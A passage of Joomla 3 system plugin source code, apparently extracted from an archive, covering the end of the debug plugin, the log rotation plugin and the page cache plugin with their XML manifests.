					$td = 'NULL';
				}

				// Treat special columns.
				if ($k === 'Duration')
				{
					if ($td >= 0.001 && ($td == $durations[0] || (isset($durations[1]) && $td == $durations[1])))
					{
						// Duration column with duration value of more than 1 ms and within 2 top duration in SQL engine: Highlight warning.
						$html[]      = '<td class="dbg-warning">';
						$hasWarnings = true;
					}
					else
					{
						$html[] = '<td>';
					}

					// Display duration in milliseconds with the unit instead of seconds.
					$html[] = sprintf('%.2f&nbsp;ms', $td * 1000);
				}
				elseif ($k === 'Error')
				{
					// An error in the EXPLAIN query occurred, display it instead of the result (means original query had syntax error most probably).
					$html[]      = '<td class="dbg-warning">' . htmlspecialchars($td);
					$hasWarnings = true;
				}
				elseif ($k === 'key')
				{
					if ($td === 'NULL')
					{
						// Displays query parts which don't use a key with warning:
						$html[]      = '<td><strong>' . '<span class="dbg-warning" title="'
							. htmlspecialchars(JText::_('PLG_DEBUG_WARNING_NO_INDEX_DESC'), ENT_COMPAT, 'UTF-8') . '">'
							. JText::_('PLG_DEBUG_WARNING_NO_INDEX') . '</span>' . '</strong>';
						$hasWarnings = true;
					}
					else
					{
						$html[] = '<td><strong>' . htmlspecialchars($td) . '</strong>';
					}
				}
				elseif ($k === 'Extra')
				{
					$htmlTd = htmlspecialchars($td);

					// Replace spaces with &nbsp; (non-breaking spaces) for less tall tables displayed.
					$htmlTd = preg_replace('/([^;]) /', '\1&nbsp;', $htmlTd);

					// Displays warnings for "Using filesort":
					$htmlTdWithWarnings = str_replace(
						'Using&nbsp;filesort',
						'<span class="dbg-warning" title="'
						. htmlspecialchars(JText::_('PLG_DEBUG_WARNING_USING_FILESORT_DESC'), ENT_COMPAT, 'UTF-8') . '">'
						. JText::_('PLG_DEBUG_WARNING_USING_FILESORT') . '</span>',
						$htmlTd
					);

					if ($htmlTdWithWarnings !== $htmlTd)
					{
						$hasWarnings = true;
					}

					$html[] = '<td>' . $htmlTdWithWarnings;
				}
				else
				{
					$html[] = '<td>' . htmlspecialchars($td);
				}

				$html[] = '</td>';
			}

			$html[] = '</tr>';
		}

		$html[] = '</tbody>';
		$html[] = '</table>';

		return implode('', $html);
	}

	/**
	 * Disconnect handler for database to collect profiling and explain information.
	 *
	 * @param   JDatabaseDriver  &$db  Database object.
	 *
	 * @return  void
	 *
	 * @since   3.1.2
	 */
	public function mysqlDisconnectHandler(&$db)
	{
		$db->setDebug(false);

		$this->totalQueries = $db->getCount();

		$dbVersion5037 = $db->getServerType() === 'mysql' && version_compare($db->getVersion(), '5.0.37', '>=');

		if ($dbVersion5037)
		{
			try
			{
				// Check if profiling is enabled.
				$db->setQuery("SHOW VARIABLES LIKE 'have_profiling'");
				$hasProfiling = $db->loadResult();

				if ($hasProfiling)
				{
					// Run a SHOW PROFILE query.
					$db->setQuery('SHOW PROFILES');
					$this->sqlShowProfiles = $db->loadAssocList();

					if ($this->sqlShowProfiles)
					{
						foreach ($this->sqlShowProfiles as $qn)
						{
							// Run SHOW PROFILE FOR QUERY for each query where a profile is available (max 100).
							$db->setQuery('SHOW PROFILE FOR QUERY ' . (int) $qn['Query_ID']);
							$this->sqlShowProfileEach[(int) ($qn['Query_ID'] - 1)] = $db->loadAssocList();
						}
					}
				}
				else
				{
					$this->sqlShowProfileEach[0] = array(array('Error' => 'MySql have_profiling = off'));
				}
			}
			catch (Exception $e)
			{
				$this->sqlShowProfileEach[0] = array(array('Error' => $e->getMessage()));
			}
		}

		if (in_array($db->getServerType(), array('mysql', 'postgresql'), true))
		{
			$log = $db->getLog();

			foreach ($log as $k => $query)
			{
				$dbVersion56 = $db->getServerType() === 'mysql' && version_compare($db->getVersion(), '5.6', '>=');
				$dbVersion80 = $db->getServerType() === 'mysql' && version_compare($db->getVersion(), '8.0', '>=');

				if ($dbVersion80)
				{
					$dbVersion56 = false;
				}

				if ((stripos($query, 'select') === 0) || ($dbVersion56 && ((stripos($query, 'delete') === 0) || (stripos($query, 'update') === 0))))
				{
					try
					{
						$db->setQuery('EXPLAIN ' . ($dbVersion56 ? 'EXTENDED ' : '') . $query);
						$this->explains[$k] = $db->loadAssocList();
					}
					catch (Exception $e)
					{
						$this->explains[$k] = array(array('Error' => $e->getMessage()));
					}
				}
			}
		}
	}

	/**
	 * Displays errors in language files.
	 *
	 * @return  string
	 *
	 * @since   2.5
	 */
	protected function displayLanguageFilesInError()
	{
		$errorfiles = JFactory::getLanguage()->getErrorFiles();

		if (!count($errorfiles))
		{
			return '<p>' . JText::_('JNONE') . '</p>';
		}

		$html = array();

		$html[] = '<ul>';

		foreach ($errorfiles as $file => $error)
		{
			$html[] = '<li>' . $this->formatLink($file) . str_replace($file, '', $error) . '</li>';
		}

		$html[] = '</ul>';

		return implode('', $html);
	}

	/**
	 * Display loaded language files.
	 *
	 * @return  string
	 *
	 * @since   2.5
	 */
	protected function displayLanguageFilesLoaded()
	{
		$html = array();

		$html[] = '<ul>';

		foreach (JFactory::getLanguage()->getPaths() as /* $extension => */ $files)
		{
			foreach ($files as $file => $status)
			{
				$html[] = '<li>';

				$html[] = $status
					? JText::_('PLG_DEBUG_LANG_LOADED')
					: JText::_('PLG_DEBUG_LANG_NOT_LOADED');

				$html[] = ' : ';
				$html[] = $this->formatLink($file);
				$html[] = '</li>';
			}
		}

		$html[] = '</ul>';

		return implode('', $html);
	}

	/**
	 * Display untranslated language strings.
	 *
	 * @return  string
	 *
	 * @since   2.5
	 */
	protected function displayUntranslatedStrings()
	{
		$stripFirst = $this->params->get('strip-first', 1);
		$stripPref  = $this->params->get('strip-prefix');
		$stripSuff  = $this->params->get('strip-suffix');

		$orphans = JFactory::getLanguage()->getOrphans();

		if (!count($orphans))
		{
			return '<p>' . JText::_('JNONE') . '</p>';
		}

		ksort($orphans, SORT_STRING);

		$guesses = array();

		foreach ($orphans as $key => $occurance)
		{
			if (is_array($occurance) && isset($occurance[0]))
			{
				$info = $occurance[0];
				$file = $info['file'] ?: '';

				if (!isset($guesses[$file]))
				{
					$guesses[$file] = array();
				}

				// Prepare the key.
				if (($pos = strpos($info['string'], '=')) > 0)
				{
					$parts = explode('=', $info['string']);
					$key   = $parts[0];
					$guess = $parts[1];
				}
				else
				{
					$guess = str_replace('_', ' ', $info['string']);

					if ($stripFirst)
					{
						$parts = explode(' ', $guess);

						if (count($parts) > 1)
						{
							array_shift($parts);
							$guess = implode(' ', $parts);
						}
					}

					$guess = trim($guess);

					if ($stripPref)
					{
						$guess = trim(preg_replace(chr(1) . '^' . $stripPref . chr(1) . 'i', '', $guess));
					}

					if ($stripSuff)
					{
						$guess = trim(preg_replace(chr(1) . $stripSuff . '$' . chr(1) . 'i', '', $guess));
					}
				}

				$key = strtoupper(trim($key));
				$key = preg_replace('#\s+#', '_', $key);
				$key = preg_replace('#\W#', '', $key);

				// Prepare the text.
				$guesses[$file][] = $key . '="' . $guess . '"';
			}
		}

		$html = array();

		foreach ($guesses as $file => $keys)
		{
			$html[] = "\n\n# " . ($file ? $this->formatLink($file) : JText::_('PLG_DEBUG_UNKNOWN_FILE')) . "\n\n";
			$html[] = implode("\n", $keys);
		}

		return '<pre>' . implode('', $html) . '</pre>';
	}

	/**
	 * Simple highlight for SQL queries.
	 *
	 * @param   string  $query  The query to highlight.
	 *
	 * @return  string
	 *
	 * @since   2.5
	 */
	protected function highlightQuery($query)
	{
		$newlineKeywords = '#\b(FROM|LEFT|INNER|OUTER|WHERE|SET|VALUES|ORDER|GROUP|HAVING|LIMIT|ON|AND|CASE)\b#i';

		$query = htmlspecialchars($query, ENT_QUOTES);

		$query = preg_replace($newlineKeywords, '<br />&#160;&#160;\\0', $query);

		$regex = array(

			// Tables are identified by the prefix.
			'/(=)/'                                        => '<b class="dbg-operator">$1</b>',

			// All uppercase words have a special meaning.
			'/(?<!\w|>)([A-Z_]{2,})(?!\w)/x'               => '<span class="dbg-command">$1</span>',

			// Tables are identified by the prefix.
			'/(' . $this->db->getPrefix() . '[a-z_0-9]+)/' => '<span class="dbg-table">$1</span>',

		);

		$query = preg_replace(array_keys($regex), array_values($regex), $query);

		$query = str_replace('*', '<b style="color: red;">*</b>', $query);

		return $query;
	}

	/**
	 * Render the backtrace.
	 *
	 * Stolen from JError to prevent it's removal.
	 *
	 * @param   Exception  $error  The Exception object to be rendered.
	 *
	 * @return  string     Rendered backtrace.
	 *
	 * @since   2.5
	 */
	protected function renderBacktrace($error)
	{
		return JLayoutHelper::render('joomla.error.backtrace', array('backtrace' => $error->getTrace()));
	}

	/**
	 * Replaces the Joomla! root with "JROOT" to improve readability.
	 * Formats a link with a special value xdebug.file_link_format
	 * from the php.ini file.
	 *
	 * @param   string  $file  The full path to the file.
	 * @param   string  $line  The line number.
	 *
	 * @return  string
	 *
	 * @since   2.5
	 */
	protected function formatLink($file, $line = '')
	{
		return JHtml::_('debug.xdebuglink', $file, $line);
	}

	/**
	 * Store log messages so they can be displayed later.
	 * This function is passed log entries by JLogLoggerCallback.
	 *
	 * @param   JLogEntry  $entry  A log entry.
	 *
	 * @return  void
	 *
	 * @since   3.1
	 */
	public function logger(JLogEntry $entry)
	{
		$this->logEntries[] = $entry;
	}

	/**
	 * Display log messages.
	 *
	 * @return  string
	 *
	 * @since   3.1
	 */
	protected function displayLogs()
	{
		$priorities = array(
			JLog::EMERGENCY => '<span class="badge badge-important">EMERGENCY</span>',
			JLog::ALERT     => '<span class="badge badge-important">ALERT</span>',
			JLog::CRITICAL  => '<span class="badge badge-important">CRITICAL</span>',
			JLog::ERROR     => '<span class="badge badge-important">ERROR</span>',
			JLog::WARNING   => '<span class="badge badge-warning">WARNING</span>',
			JLog::NOTICE    => '<span class="badge badge-info">NOTICE</span>',
			JLog::INFO      => '<span class="badge badge-info">INFO</span>',
			JLog::DEBUG     => '<span class="badge">DEBUG</span>',
		);

		$out = '';

		$logEntriesTotal = count($this->logEntries);

		// SQL log entries
		$showExecutedSQL = $this->params->get('log-executed-sql', 0);

		if (!$showExecutedSQL)
		{
			$logEntriesDatabasequery = count(
				array_filter(
					$this->logEntries, function ($logEntry)
					{
						return $logEntry->category === 'databasequery';
					}
				)
			);
			$logEntriesTotal         -= $logEntriesDatabasequery;
		}

		// Deprecated log entries
		$logEntriesDeprecated = count(
			array_filter(
				$this->logEntries, function ($logEntry)
				{
					return $logEntry->category === 'deprecated';
				}
			)
		);
		$showDeprecated       = $this->params->get('log-deprecated', 0);

		if (!$showDeprecated)
		{
			$logEntriesTotal -= $logEntriesDeprecated;
		}

		$showEverything = $this->params->get('log-everything', 0);

		$out .= '<h4>' . JText::sprintf('PLG_DEBUG_LOGS_LOGGED', $logEntriesTotal) . '</h4><br />';

		if ($showDeprecated && $logEntriesDeprecated > 0)
		{
			$out .= '
			<div class="alert alert-warning">
				<h4>' . JText::sprintf('PLG_DEBUG_LOGS_DEPRECATED_FOUND_TITLE', $logEntriesDeprecated) . '</h4>
				<div>' . JText::_('PLG_DEBUG_LOGS_DEPRECATED_FOUND_TEXT') . '</div>
			</div>
			<br />';
		}

		$out   .= '<ol>';
		$count = 1;

		foreach ($this->logEntries as $entry)
		{
			// Don't show database queries if not selected.
			if (!$showExecutedSQL && $entry->category === 'databasequery')
			{
				continue;
			}

			// Don't show deprecated logs if not selected.
			if (!$showDeprecated && $entry->category === 'deprecated')
			{
				continue;
			}

			// Don't show everything logs if not selected.
			if (!$showEverything && !in_array($entry->category, array('deprecated', 'databasequery'), true))
			{
				continue;
			}

			$out .= '<li id="dbg_logs_' . $count . '">';
			$out .= '<h5>' . $priorities[$entry->priority] . ' ' . $entry->category . '</h5><br />
				<pre>' . $entry->message . '</pre>';

			if ($entry->callStack)
			{
				$out .= JHtml::_('bootstrap.startAccordion', 'dbg_logs_' . $count, array('active' => ''));
				$out .= JHtml::_('bootstrap.addSlide', 'dbg_logs_' . $count, JText::_('PLG_DEBUG_CALL_STACK'), 'dbg_logs_backtrace_' . $count);
				$out .= $this->renderCallStack($entry->callStack);
				$out .= JHtml::_('bootstrap.endSlide');
				$out .= JHtml::_('bootstrap.endAccordion');
			}

			$out .= '<hr /></li>';
			$count++;
		}

		$out .= '</ol>';

		return $out;
	}

	/**
	 * Renders call stack and back trace in HTML.
	 *
	 * @param   array  $callStack  The call stack and back trace array.
	 *
	 * @return  string  The call stack and back trace in HMTL format.
	 *
	 * @since   3.5
	 */
	protected function renderCallStack(array $callStack = array())
	{
		$htmlCallStack = '';

		if ($callStack !== null)
		{
			$htmlCallStack .= '<div>';
			$htmlCallStack .= '<table class="table table-striped dbg-query-table">';
			$htmlCallStack .= '<thead>';
			$htmlCallStack .= '<tr>';
			$htmlCallStack .= '<th>#</th>';
			$htmlCallStack .= '<th>' . JText::_('PLG_DEBUG_CALL_STACK_CALLER') . '</th>';
			$htmlCallStack .= '<th>' . JText::_('PLG_DEBUG_CALL_STACK_FILE_AND_LINE') . '</th>';
			$htmlCallStack .= '</tr>';
			$htmlCallStack .= '</thead>';
			$htmlCallStack .= '<tbody>';

			$count = count($callStack);

			foreach ($callStack as $call)
			{
				// Dont' back trace log classes.
				if (isset($call['class']) && strpos($call['class'], 'JLog') !== false)
				{
					$count--;
					continue;
				}

				$htmlCallStack .= '<tr>';

				$htmlCallStack .= '<td>' . $count . '</td>';

				$htmlCallStack .= '<td>';

				if (isset($call['class']))
				{
					// If entry has Class/Method print it.
					$htmlCallStack .= htmlspecialchars($call['class'] . $call['type'] . $call['function']) . '()';
				}
				else
				{
					if (isset($call['args']))
					{
						// If entry has args is a require/include.
						$htmlCallStack .= htmlspecialchars($call['function']) . ' ' . $this->formatLink($call['args'][0]);
					}
					else
					{
						// It's a function.
						$htmlCallStack .= htmlspecialchars($call['function']) . '()';
					}
				}

				$htmlCallStack .= '</td>';

				$htmlCallStack .= '<td>';

				// If entry doesn't have line and number the next is a call_user_func.
				if (!isset($call['file']) && !isset($call['line']))
				{
					$htmlCallStack .= JText::_('PLG_DEBUG_CALL_STACK_SAME_FILE');
				}
				// If entry has file and line print it.
				else
				{
					$htmlCallStack .= $this->formatLink(htmlspecialchars($call['file']), htmlspecialchars($call['line']));
				}

				$htmlCallStack .= '</td>';

				$htmlCallStack .= '</tr>';
				$count--;
			}

			$htmlCallStack .= '</tbody>';
			$htmlCallStack .= '</table>';
			$htmlCallStack .= '</div>';

			if (!$this->linkFormat)
			{
				$htmlCallStack .= '<div>[<a href="https://xdebug.org/docs/all_settings#file_link_format" target="_blank" rel="noopener noreferrer">';
				$htmlCallStack .= JText::_('PLG_DEBUG_LINK_FORMAT') . '</a>]</div>';
			}
		}

		return $htmlCallStack;
	}

	/**
	 * Pretty print JSON with colors.
	 *
	 * @param   string  $json  The json raw string.
	 *
	 * @return  string  The json string pretty printed.
	 *
	 * @since   3.5
	 */
	protected function prettyPrintJSON($json = '')
	{
		// In PHP 5.4.0 or later we have pretty print option.
		if (version_compare(PHP_VERSION, '5.4', '>='))
		{
			$json = json_encode($json, JSON_UNESCAPED_SLASHES|JSON_PRETTY_PRINT);
		}

		// Escape HTML in session vars
		$json = htmlentities($json);

		// Add some colors
		$json = preg_replace('#"([^"]+)":#', '<span class=\'black\'>"</span><span class=\'green\'>$1</span><span class=\'black\'>"</span>:', $json);
		$json = preg_replace('#"(|[^"]+)"(\n|\r\n|,)#', '<span class=\'grey\'>"$1"</span>$2', $json);
		$json = str_replace('null,', '<span class=\'blue\'>null</span>,', $json);

		return $json;
	}

	/**
	 * Write query to the log file
	 *
	 * @return  void
	 *
	 * @since   3.5
	 */
	protected function writeToFile()
	{
		$app    = JFactory::getApplication();
		$domain = $app->isClient('site') ? 'site' : 'admin';
		$input  = $app->input;
		$file   = $app->get('log_path') . '/' . $domain . '_' . $input->get('option') . $input->get('view') . $input->get('layout') . '.sql.php';

		// Get the queries from log.
		$current = '';
		$db      = $this->db;
		$log     = $db->getLog();
		$timings = $db->getTimings();

		foreach ($log as $id => $query)
		{
			if (isset($timings[$id * 2 + 1]))
			{
				$temp    = str_replace('`', '', $log[$id]);
				$temp    = str_replace(array("\t", "\n", "\r\n"), ' ', $temp);
				$current .= $temp . ";\n";
			}
		}

		if (JFile::exists($file))
		{
			JFile::delete($file);
		}

		$head   = array('#');
		$head[] = '#<?php die(\'Forbidden.\'); ?>';
		$head[] = '#Date: ' . gmdate('Y-m-d H:i:s') . ' UTC';
		$head[] = '#Software: ' . \JPlatform::getLongVersion();
		$head[] = "\n";

		// Write new file.
		JFile::write($file, implode("\n", $head) . $current);
	}
}
PK�(]X�/9��"system/logrotation/logrotation.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.logrotation
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Filesystem\File;
use Joomla\Filesystem\Folder;
use Joomla\Filesystem\Path;

/**
 * Joomla! Log Rotation plugin
 *
 * Rotate the log files created by Joomla core
 *
 * @since  3.9.0
 */
class PlgSystemLogrotation extends JPlugin
{
	/**
	 * Load the language file on instantiation.
	 *
	 * @var    boolean
	 * @since  3.9.0
	 */
	protected $autoloadLanguage = true;

	/**
	 * Application object.
	 *
	 * @var    JApplicationCms
	 * @since  3.9.0
	 */
	protected $app;

	/**
	 * Database object.
	 *
	 * @var    JDatabaseDriver
	 * @since  3.9.0
	 */
	protected $db;

	/**
	 * The log check and rotation code is triggered after the page has fully rendered.
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onAfterRender()
	{
		// Get the timeout as configured in plugin parameters

		/** @var \Joomla\Registry\Registry $params */
		$cache_timeout = (int) $this->params->get('cachetimeout', 30);
		$cache_timeout = 24 * 3600 * $cache_timeout;
		$logsToKeep    = (int) $this->params->get('logstokeep', 1);

		// Do we need to run? Compare the last run timestamp stored in the plugin's options with the current
		// timestamp. If the difference is greater than the cache timeout we shall not execute again.
		$now  = time();
		$last = (int) $this->params->get('lastrun', 0);

		if ((abs($now - $last) < $cache_timeout))
		{
			return;
		}

		// Update last run status
		$this->params->set('lastrun', $now);

		$db    = $this->db;
		$query = $db->getQuery(true)
			->update($db->qn('#__extensions'))
			->set($db->qn('params') . ' = ' . $db->q($this->params->toString('JSON')))
			->where($db->qn('type') . ' = ' . $db->q('plugin'))
			->where($db->qn('folder') . ' = ' . $db->q('system'))
			->where($db->qn('element') . ' = ' . $db->q('logrotation'));

		try
		{
			// Lock the tables to prevent multiple plugin executions causing a race condition
			$db->lockTable('#__extensions');
		}
		catch (Exception $e)
		{
			// If we can't lock the tables it's too risky to continue execution
			return;
		}

		try
		{
			// Update the plugin parameters
			$result = $db->setQuery($query)->execute();

			$this->clearCacheGroups(array('com_plugins'), array(0, 1));
		}
		catch (Exception $exc)
		{
			// If we failed to execute
			$db->unlockTables();
			$result = false;
		}

		try
		{
			// Unlock the tables after writing
			$db->unlockTables();
		}
		catch (Exception $e)
		{
			// If we can't lock the tables assume we have somehow failed
			$result = false;
		}

		// Abort on failure
		if (!$result)
		{
			return;
		}

		// Get the log path
		$logPath = Path::clean($this->app->get('log_path'));

		// Invalid path, stop processing further
		if (!is_dir($logPath))
		{
			return;
		}

		$logFiles = $this->getLogFiles($logPath);

		// Sort log files by version number in reserve order
		krsort($logFiles, SORT_NUMERIC);

		foreach ($logFiles as $version => $files)
		{
			if ($version >= $logsToKeep)
			{
				// Delete files which has version greater than or equals $logsToKeep
				foreach ($files as $file)
				{
					File::delete($logPath . '/' . $file);
				}
			}
			else
			{
				// For files which has version smaller than $logsToKeep, rotate (increase version number)
				foreach ($files as $file)
				{
					$this->rotate($logPath, $file, $version);
				}
			}
		}
	}

	/**
	 * Get log files from log folder
	 *
	 * @param   string  $path  The folder to get log files
	 *
	 * @return  array   The log files in the given path grouped by version number (not rotated files has number 0)
	 *
	 * @since   3.9.0
	 */
	private function getLogFiles($path)
	{
		$logFiles = array();
		$files    = Folder::files($path, '\.php$');

		foreach ($files as $file)
		{
			$parts    = explode('.', $file);

			/*
			 * Rotated log file has this filename format [VERSION].[FILENAME].php. So if $parts has at least 3 elements
			 * and the first element is a number, we know that it's a rotated file and can get it's current version
			 */
			if (count($parts) >= 3 && is_numeric($parts[0]))
			{
				$version = (int) $parts[0];
			}
			else
			{
				$version = 0;
			}

			if (!isset($logFiles[$version]))
			{
				$logFiles[$version] = array();
			}

			$logFiles[$version][] = $file;
		}

		return $logFiles;
	}

	/**
	 * Method to rotate (increase version) of a log file
	 *
	 * @param   string  $path            Path to file to rotate
	 * @param   string  $filename        Name of file to rotate
	 * @param   int     $currentVersion  The current version number
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	private function rotate($path, $filename, $currentVersion)
	{
		if ($currentVersion === 0)
		{
			$rotatedFile = $path . '/1.' . $filename;
		}
		else
		{
			/*
			 * Rotated log file has this filename format [VERSION].[FILENAME].php. To rotate it, we just need to explode
			 * the filename into an array, increase value of first element (keep version) and implode it back to get the
			 * rotated file name
			 */
			$parts    = explode('.', $filename);
			$parts[0] = $currentVersion + 1;

			$rotatedFile = $path . '/' . implode('.', $parts);
		}

		File::move($path . '/' . $filename, $rotatedFile);
	}

	/**
	 * Clears cache groups. We use it to clear the plugins cache after we update the last run timestamp.
	 *
	 * @param   array  $clearGroups   The cache groups to clean
	 * @param   array  $cacheClients  The cache clients (site, admin) to clean
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	private function clearCacheGroups(array $clearGroups, array $cacheClients = array(0, 1))
	{
		$conf = JFactory::getConfig();

		foreach ($clearGroups as $group)
		{
			foreach ($cacheClients as $client_id)
			{
				try
				{
					$options = array(
						'defaultgroup' => $group,
						'cachebase'    => $client_id ? JPATH_ADMINISTRATOR . '/cache' :
							$conf->get('cache_path', JPATH_SITE . '/cache')
					);

					$cache = JCache::getInstance('callback', $options);
					$cache->clean();
				}
				catch (Exception $e)
				{
					// Ignore it
				}
			}
		}
	}
}
PK�(]�g�##"system/logrotation/logrotation.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension version="3.9" type="plugin" group="system" method="upgrade">
	<name>plg_system_logrotation</name>
	<author>Joomla! Project</author>
	<creationDate>May 2018</creationDate>
	<copyright>(C) 2018 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.9.0</version>
	<description>PLG_SYSTEM_LOGROTATION_XML_DESCRIPTION</description>
	<files>
		<filename plugin="logrotation">logrotation.php</filename>
	</files>
	<languages folder="language">
		<language tag="en-GB">en-GB.plg_system_logrotation.ini</language>
		<language tag="en-GB">en-GB.plg_system_logrotation.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="cachetimeout"
					type="integer"
					label="PLG_SYSTEM_LOGROTATION_CACHETIMEOUT_LABEL"
					description="PLG_SYSTEM_LOGROTATION_CACHETIMEOUT_DESC"
					first="0"
					last="120"
					step="1"
					default="30"
					filter="int"
					validate="number"
				/>

				<field
					name="logstokeep"
					type="integer"
					label="PLG_SYSTEM_LOGROTATION_LOGSTOKEEP_LABEL"
					description="PLG_SYSTEM_LOGROTATION_LOGSTOKEEP_DESC"
					first="1"
					last="10"
					step="1"
					default="1"
					filter="int"
					validate="number"
				/>

				<field
					name="lastrun"
					type="hidden"
					default="0"
					filter="integer"
				/>
			</fieldset>
		</fields>
	</config>
</extension>
PK�(]a6�system/cache/cache.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="system" method="upgrade">
	<name>plg_system_cache</name>
	<author>Joomla! Project</author>
	<creationDate>February 2007</creationDate>
	<copyright>(C) 2007 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_CACHE_XML_DESCRIPTION</description>
	<files>
		<filename plugin="cache">cache.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_system_cache.ini</language>
		<language tag="en-GB">en-GB.plg_system_cache.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="browsercache"
					type="radio"
					label="PLG_CACHE_FIELD_BROWSERCACHE_LABEL"
					description="PLG_CACHE_FIELD_BROWSERCACHE_DESC"
					class="btn-group btn-group-yesno"
					default="0"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="exclude_menu_items"
					type="menuitem"
					label="PLG_CACHE_FIELD_EXCLUDE_MENU_ITEMS_LABEL"
					description="PLG_CACHE_FIELD_EXCLUDE_MENU_ITEMS_DESC"
					multiple="multiple"
					filter="int_array"
				/>

			</fieldset>
			<fieldset name="advanced">
				<field
					name="exclude"
					type="textarea"
					label="PLG_CACHE_FIELD_EXCLUDE_LABEL"
					description="PLG_CACHE_FIELD_EXCLUDE_DESC"
					class="input-xxlarge"
					rows="15"
					filter="raw"
				/>

			</fieldset>
		</fields>
	</config>
</extension>
PK�(]�~�ccsystem/cache/cache.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.cache
 *
 * @copyright   (C) 2007 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Joomla! Page Cache Plugin.
 *
 * @since  1.5
 */
class PlgSystemCache extends JPlugin
{
	/**
	 * Cache instance.
	 *
	 * @var    JCache
	 * @since  1.5
	 */
	public $_cache;

	/**
	 * Cache key
	 *
	 * @var    string
	 * @since  3.0
	 */
	public $_cache_key;

	/**
	 * Application object.
	 *
	 * @var    JApplicationCms
	 * @since  3.8.0
	 */
	protected $app;

	/**
	 * Constructor.
	 *
	 * @param   object  &$subject  The object to observe.
	 * @param   array   $config    An optional associative array of configuration settings.
	 *
	 * @since   1.5
	 */
	public function __construct(& $subject, $config)
	{
		parent::__construct($subject, $config);

		// Get the application if not done by JPlugin.
		if (!isset($this->app))
		{
			$this->app = JFactory::getApplication();
		}

		// Set the cache options.
		$options = array(
			'defaultgroup' => 'page',
			'browsercache' => $this->params->get('browsercache', 0),
			'caching'      => false,
		);

		// Instantiate cache with previous options and create the cache key identifier.
		$this->_cache     = JCache::getInstance('page', $options);
		$this->_cache_key = JUri::getInstance()->toString();
	}

	/**
	 * Get a cache key for the current page based on the url and possible other factors.
	 *
	 * @return  string
	 *
	 * @since   3.7
	 */
	protected function getCacheKey()
	{
		static $key;

		if (!$key)
		{
			JPluginHelper::importPlugin('pagecache');

			$parts = JEventDispatcher::getInstance()->trigger('onPageCacheGetKey');
			$parts[] = JUri::getInstance()->toString();

			$key = md5(serialize($parts));
		}

		return $key;
	}

	/**
	 * After Initialise Event.
	 * Checks if URL exists in cache, if so dumps it directly and closes.
	 *
	 * @return  void
	 *
	 * @since   1.5
	 */
	public function onAfterInitialise()
	{
		if ($this->app->isClient('administrator') || $this->app->get('offline', '0') || $this->app->getMessageQueue())
		{
			return;
		}

		// If any pagecache plugins return false for onPageCacheSetCaching, do not use the cache.
		JPluginHelper::importPlugin('pagecache');

		$results = JEventDispatcher::getInstance()->trigger('onPageCacheSetCaching');
		$caching = !in_array(false, $results, true);

		if ($caching && JFactory::getUser()->guest && $this->app->input->getMethod() === 'GET')
		{
			$this->_cache->setCaching(true);
		}

		$data = $this->_cache->get($this->getCacheKey());

		// If page exist in cache, show cached page.
		if ($data !== false)
		{
			// Set HTML page from cache.
			$this->app->setBody($data);

			// Dumps HTML page.
			echo $this->app->toString((bool) $this->app->get('gzip'));

			// Mark afterCache in debug and run debug onAfterRespond events.
			// e.g., show Joomla Debug Console if debug is active.
			if (JDEBUG)
			{
				JProfiler::getInstance('Application')->mark('afterCache');
				JEventDispatcher::getInstance()->trigger('onAfterRespond');
			}

			// Closes the application.
			$this->app->close();
		}
	}

	/**
	 * After Render Event.
	 * Verify if current page is not excluded from cache.
	 *
	 * @return   void
	 *
	 * @since   3.9.12
	 */
	public function onAfterRender()
	{
		if ($this->_cache->getCaching() === false)
		{
			return;
		}

		// We need to check if user is guest again here, because auto-login plugins have not been fired before the first aid check.
		// Page is excluded if excluded in plugin settings.
		if (!JFactory::getUser()->guest || $this->app->getMessageQueue() || $this->isExcluded() === true)
		{
			$this->_cache->setCaching(false);

			return;
		}

		// Disable compression before caching the page.
		$this->app->set('gzip', false);
	}

	/**
	 * After Respond Event.
	 * Stores page in cache.
	 *
	 * @return   void
	 *
	 * @since   1.5
	 */
	public function onAfterRespond()
	{
		if ($this->_cache->getCaching() === false)
		{
			return;
		}

		// Saves current page in cache.
		$this->_cache->store($this->app->getBody(), $this->getCacheKey());
	}

	/**
	 * Check if the page is excluded from the cache or not.
	 *
	 * @return   boolean  True if the page is excluded else false
	 *
	 * @since    3.5
	 */
	protected function isExcluded()
	{
		// Check if menu items have been excluded.
		if ($exclusions = $this->params->get('exclude_menu_items', array()))
		{
			// Get the current menu item.
			$active = $this->app->getMenu()->getActive();

			if ($active && $active->id && in_array((int) $active->id, (array) $exclusions))
			{
				return true;
			}
		}

		// Check if regular expressions are being used.
		if ($exclusions = $this->params->get('exclude', ''))
		{
			// Normalize line endings.
			$exclusions = str_replace(array("\r\n", "\r"), "\n", $exclusions);

			// Split them.
			$exclusions = explode("\n", $exclusions);

			// Gets internal URI.
			$internal_uri	= '/index.php?' . JUri::getInstance()->buildQuery($this->app->getRouter()->getVars());

			// Loop through each pattern.
			if ($exclusions)
			{
				foreach ($exclusions as $exclusion)
				{
					// Make sure the exclusion has some content
					if ($exclusion !== '')
					{
						// Test both external and internal URI
